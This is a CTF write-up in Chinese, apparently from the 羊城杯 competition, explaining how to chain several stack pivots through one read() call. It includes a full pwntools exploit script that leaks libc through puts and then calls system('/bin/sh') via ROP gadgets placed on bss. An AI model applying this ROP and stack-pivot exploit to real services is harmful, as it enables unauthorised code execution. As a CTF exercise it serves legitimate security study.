从前的栈迁移,怎么也得泄露一个栈指针,或者对bss有两次及以上写的能力,这题过分精简,一时间失了分寸。。。好在信息检索到了解法,并动态调试了解了过程
前言
栈溢出长度不够如何利用——可以考虑栈迁移
如果从交互来看,仅有一个read函数,且只能触发一次,又该如何利用?
本题就是如此,又让我学了一招,通过read实现多次栈迁移完成目的。
这里必须把信息检索到的博客、博主在此声明,以示感谢
一、题目
二、解题思路与利用链
只有一次read,从前遇到的,要么是劫持到栈上,要么是劫持到bss上。前者需要栈指针泄露,后者需要在bss构造ROP链。这里一没有打印函数,二只有一次read,似乎条件都不太满足。
不过read本身是有写的能力的,这和劫持到bss段上比较相似
为此可以有一下利用链(写的比较详细所以多,但是由于重复性的相似称谓,表述可能欠妥有歧义,还是跟着后面的调试看比较清晰,望读者海涵)
【Payload 示意】
1.deadbeef+bss+vuln_read #
2.deadbeef+ROP[puts(puts)]+pop_rbp+bss+vuln_read+bss+leave_ret
3.deadbeef+ROP[system(’/bin/sh’)]+bss+leave_ret
【利用链】
1. 第一次栈溢出,发送payload1,写rbp为bss段上一个地址,写ret为vuln函数的read
2.第一次vuln执行完毕,leave使得rbp改为bss,ret使得程序再次跳转到vuln-read进行读取
3.由于rbp已经被更改为bss段上的一个地址,因此read的buf指针(lea rax, [rbp+buf])也指向了bss上的一个区域
4.程序执行read,发送payload2,写ROP[puts(puts)]泄露libc,通过pop_rbp修改rbp的同时,利用vuln_read再次往目标地址写,ROP[system(’/bin/sh’)],rbp写合适的bss位置,ret写leave_ret
5.程序执行完vuln-read后,函数尾声leave-ret,leave时rsp被迁到bss段上,由于构造合理,(leave=mov rsp,rbp;pop rbp;) 此时leave执行完,rbp=bss-8(payload2中所谓合适的bss位置),rsp指向leave_ret gadget。接下来执行ret,程序将跳转到leave-ret这个gadget
6.gadget中,leave执行完毕后会将rsp迁移到bss上,ROP链起始位置;ret会进入ROP
7.程序将按照设定,泄露libc、触发vuln_read函数向bss上读入payload3
8.然后ROP完,再次触发leave-ret(payload2最后的部分),由于前面的read的ROP已经修改了rbp,所以此时leave-ret时,再次触发栈迁移,迁移到read读取后的位置
9.ROP-read读取ROP-system(’/bin/sh’),栈迁移后,ret继续执行该后门ROP链,完成利用
三、动态调试与解题
四、EXP
from pwn import *
from time import sleep
elf=ELF('./pwn')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
context.arch=elf.arch
context.os='linux'
context.log_level='debug'
# context.terminal=['tmux','splitw','-h']
##########################
def debug(touch=True,flag=False):
global gdb_status;gdb_status=False
if flag:
gdb_status=True
gdb.attach(io);
return
elif touch:
if input('[?] GDB attach(press ENTER to quit): ')!='':
gdb_status=True
gdb.attach(io);
return
else:
print("[-] GDB didn't attach")
return
print("[-] GDB didn't attach")
return
def gdb_check(point=True,slp=False):
if not point:
return
if(gdb_status):
if slp:
sleep(2)
else:
pause()
##########################
def sendline_payload(payload):
try:
io.recvall(Timeout=2)
except:
pass
io.sendline(payload)
def send_payload(payload):
try:
io.recvall(Timeout=2)
except:
pass
io.send(payload)
bss=elf.bss()+0x500
vuln_read=0x4006C4
io=process('./pwn')
debug()
# payload1: 1.hijack rbp to bss;
# 2.return to vuln-read
payload1=b'a'*(0x30)+p64(bss+0x30)+p64(vuln_read)
send_payload(payload1)
gdb_check(False)
# payload2: 1.double leave-ret (set ret to gadget leave-ret) hijack rsp to bss-start (set appropriate bss)
# 2.ROP
# 3.read more payload
# 0x0000000000400773 : pop rdi ; ret
# 0x00000000004005b0 : pop rbp ; ret
# 0x00000000004006db : leave ; ret
leave_ret=0x4006db
pop_rdi=0x400773
pop_rbp=0x4005b0
puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
payload2=p64(pop_rdi)+p64(puts_got)+p64(puts_plt) # leak-libc
payload2+=p64(pop_rbp)+p64(bss+0x200+0x30)+p64(vuln_read)
payload2+=p64(bss-8)+p64(leave_ret)
send_payload(payload2)
gdb_check(True)
io.recvuntil(b'flow?\n')
puts_real=u64(io.recvuntil(b'\n',drop=True)[-6:].ljust(8,b'\x00'))
libc_base=puts_real-libc.sym['puts']
system_real=libc_base+libc.sym['system']
binsh=libc_base+libc.search('/bin/sh\x00').__next__()
success('puts_real:'+hex(puts_real))
success('libc_base:'+hex(libc_base))
success('system_real:'+hex(system_real))
success('str_bin_sh:'+hex(binsh))
# payload3: 1.ROP system('/bin/sh')
# 2.double-leave-ret hijack to ROP
# 0x0000000000400506 : ret
ret=0x400506
# if segment fault, rset '0x100' to another number like '0x200' (success)
payload3=(p64(pop_rdi)+p64(binsh)+p64(system_real)).ljust(0x30,b'\x00')
payload3+=p64(bss+0x200-0x8)+p64(leave_ret)
send_payload(payload3)
io.interactive()
总结
唉,又为自己菜菜而自卑。。
羊城杯前面的佬,真的好牛,又聪明又勤奋